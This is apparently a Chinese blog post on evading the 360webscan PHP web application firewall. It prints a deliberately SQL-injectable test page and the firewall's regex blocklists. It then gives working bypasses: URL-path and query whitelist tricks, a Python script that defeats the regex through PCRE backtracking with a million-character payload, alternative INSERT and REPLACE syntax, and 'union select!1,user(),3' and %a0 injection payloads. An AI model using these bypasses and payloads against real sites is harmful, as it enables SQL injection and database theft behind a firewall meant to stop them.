路漫漫其修远兮,吾将上下而求索

0%

360webscan bypass

使用

将360safe文件夹放入网站根目录,在入口文件或者需要过滤的文件使用:

1
if(is_file($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php')){
2
	require_once($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php');
3
}

测试代码

1
<?php
2
if(is_file($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php')){
3
	require_once($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php');
4
}
5
6
$sql="select *  from tab where id =".$_POST['id'];
7
echo $sql;

php_self白名单绕过

原理

1
$webscan_white_directory='admin|\/dede\/|\/install\/';

php_self中含有 admin或者 /dede/ 或者 /install/时,不过滤字符

测试

传参 id=select * from aaa拦截

在urlpath之后添加 /admin ,/dede/ ,/install/之后不拦截

white_url白名单绕过

原理

1
$webscan_white_url = array('index.php' => 'm=admin','post.php' => 'job=postnew&step=post','edit_space_info.php'=>'');

index.php?m=admin, post.php?job=postnew&step=post , edit_apace_info.php不过滤

实例

这两个白名单的方法很容易会被使用的人给更改掉

超长字符串绕过正则

原理

1
//get拦截规则
2
$getfilter = "\\b(alert\\(|confirm\\(|prompt\\()\\b|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|^\\+\\/v(8|9)|\\b(and|or)\\b(['\"\\d]+?=['\"\\d]+?|['\"a-zA-Z]+?=['\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
3
//post拦截规则
4
$postfilter = "\\b(alert\\(|confirm\\(|prompt\\()\\b|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b[^>]*?>|\\b(and|or)\\b(['\"\\d]+?=['\"\\d]+?|['\"a-zA-Z]+?=['\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
5
//cookie拦截规则
6
$cookiefilter = "\\b(and|or)\\b(['\"\\d]+?=['\"\\d]+?|['\"a-zA-Z]+?=['\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

是正则表达式设置规则,因此可利用PHP利用PCRE回溯次数限制绕过某些安全限制

测试

1
import requests
2
3
def exp():
4
    domain = 'http://debug.com'
5
    path = '/test.php'
6
    url = domain + path
7
    headers = {
8
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36",
9
        }
10
    # payload = "select */*"+'a'*1000000+'*/ from aaa'
11
    payload = "select * from aaa"
12
    data = {"id": payload}
13
14
    url = domain+path
15
    res = requests.post(url=url, data=data, headers=headers)
16
    if 'webscan'in res.text:
17
        print("fobidden!\n")
18
        exit()
19
20
    print(res.text)
21
22
23
if __name__ == "__main__":
24
    exp()

当直接传参时候,显示拦截了

当填充payloadid参数中1000000个a时

插入绕过正则

原理

1
INSERT\\s+INTO.+?VALUES

insert 数据可以用另几种方式

  1. insert into table set name = 'admin',pass = '123456'
  2. insert table(name,password) values('admin','123456')
  3. insert into table(name,password) select 'admin','123456'

这几种写法可以随意组合着用

可用性测试:

绕过测试

另外,还可以用 replace into来代替insertupdate,而且replace into也有和insert into一样的三种写法加上一种普通写法都可以绕过。

老版本绕过

检测

WEBSCAN_VERSION:0.1.3.2

先在使用了360通防的页面上发送?id=union select ’1,2,3'若是拦截,再发送id = union select!1,2,3不拦截,则可以union绕过。

可使用

  1. union select!1,user(),3
  2. union select@1,user(),3

若是数据库编码不是utf-8则可以使用%a0隔绝select与from造成绕过。(编码问题不懂)

select%a0*%a0from%20tables